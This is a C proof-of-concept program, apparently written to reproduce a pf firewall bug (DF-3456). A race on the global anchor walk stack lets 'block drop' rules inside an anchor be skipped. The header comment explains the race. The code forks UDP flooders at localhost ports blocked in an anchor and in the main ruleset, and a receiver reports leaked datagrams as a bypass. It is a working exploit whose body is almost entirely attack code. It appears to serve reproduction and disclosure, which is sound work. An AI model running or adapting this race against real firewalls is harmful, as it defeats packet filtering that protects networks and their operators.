/*
 * DF-3456 PoC: pf anchor walk-stack race -> rule bypass.
 *
 * The pf pfil hooks (pf_check_in/out in pf_ioctl.c) hold pf_token only
 * SHARED while running pf_test()/pf_test6().  The anchor walk state
 * pf_anchor_stack[64] (pf.c:148) is a single GLOBAL array: two or more
 * CPUs evaluating anchor rules concurrently tear each other's walk
 * frames, so a rule at the end of an anchor's rule list can be skipped
 * and a "block drop" verdict turns into a pass.
 *
 * This program:
 *   recv  <port> <secs>  - count UDP datagrams arriving on 127.0.0.1:<port>
 *   flood <nproc> <secs>  - fork <nproc> flooders; each sends small UDP
 *                           datagrams to 127.0.0.1:5555 (blocked INSIDE
 *                           anchor "spam") and 127.0.0.1:5556 (blocked in
 *                           the MAIN ruleset - control) as fast as possible.
 *
 * Expected on a healthy kernel: both counters stay 0 while pf is enabled.
 * Bypass signature: counter on 5555 grows while the control port 5556
 * stays 0.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ANCHOR_PORT 5555	/* blocked inside anchor "spam" */
#define CTRL_PORT   5556	/* blocked in main ruleset (control) */

static volatile sig_atomic_t stop = 0;
static void onsig(int sig __unused) { stop = 1; }

static int
recv_mode(int port, int secs)
{
	struct sockaddr_in sin;
	char buf[2048];
	long long total = 0;
	int s, n;
	time_t t0 = time(NULL), tlast = t0;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		perror("bind");
		return 1;
	}
	while (!stop && (time(NULL) - t0) < secs) {
		n = recv(s, buf, sizeof(buf), 0);
		if (n > 0) {
			total++;
			if (time(NULL) - tlast >= 5) {
				tlast = time(NULL);
				printf("recv port %d: %lld datagrams "
				    "(BYPASS! should be 0)\n", port, total);
				fflush(stdout);
			}
		}
	}
	printf("recv port %d FINAL: %lld datagrams in %lld sec%s\n",
	    port, total, (long long)(time(NULL) - t0),
	    total ? "  <<< PF ANCHOR BYPASS REPRODUCED" : " (no leak - ok)");
	fflush(stdout);
	return 0;
}

static int
flood_one(int id, int secs)
{
	struct sockaddr_in a, c;
	char pkt[32];
	int s, i = 0;
	time_t t0 = time(NULL);

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); _exit(1); }
	memset(&a, 0, sizeof(a));
	a.sin_family = AF_INET;
	a.sin_port = htons(ANCHOR_PORT);
	a.sin_addr.s_addr = inet_addr("127.0.0.1");
	memset(&c, 0, sizeof(c));
	c.sin_family = AF_INET;
	c.sin_port = htons(CTRL_PORT);
	c.sin_addr.s_addr = inet_addr("127.0.0.1");

	while (!stop && (time(NULL) - t0) < secs) {
		/* alternate anchor-blocked and control-blocked targets */
		if (sendto(s, pkt, sizeof(pkt), 0,
		    (i & 1) ? (struct sockaddr *)&a : (struct sockaddr *)&c,
		    sizeof(a)) < 0) {
			if (errno != ENOBUFS && errno != EAGAIN &&
			    errno != ECONNREFUSED)
				perror("sendto");
		}
		i++;
	}
	_exit(0);
}

static int
flood_mode(int nproc, int secs)
{
	int i;
	pid_t pid;

	signal(SIGINT, onsig);
	signal(SIGTERM, onsig);
	for (i = 0; i < nproc; i++) {
		pid = fork();
		if (pid == 0)
			flood_one(i, secs);
		if (pid < 0)
			perror("fork");
	}
	/* parent waits for children */
	for (i = 0; i < nproc; i++)
		wait(NULL);
	printf("flood done\n");
	return 0;
}

int
main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr,
		    "usage: %s recv <port> <secs> | flood <nproc> <secs>\n",
		    argv[0]);
		return 2;
	}
	if (strcmp(argv[1], "recv") == 0 && argc == 4)
		return recv_mode(atoi(argv[2]), atoi(argv[3]));
	if (strcmp(argv[1], "flood") == 0 && argc == 4)
		return flood_mode(atoi(argv[2]), atoi(argv[3]));
	fprintf(stderr, "bad args\n");
	return 2;
}
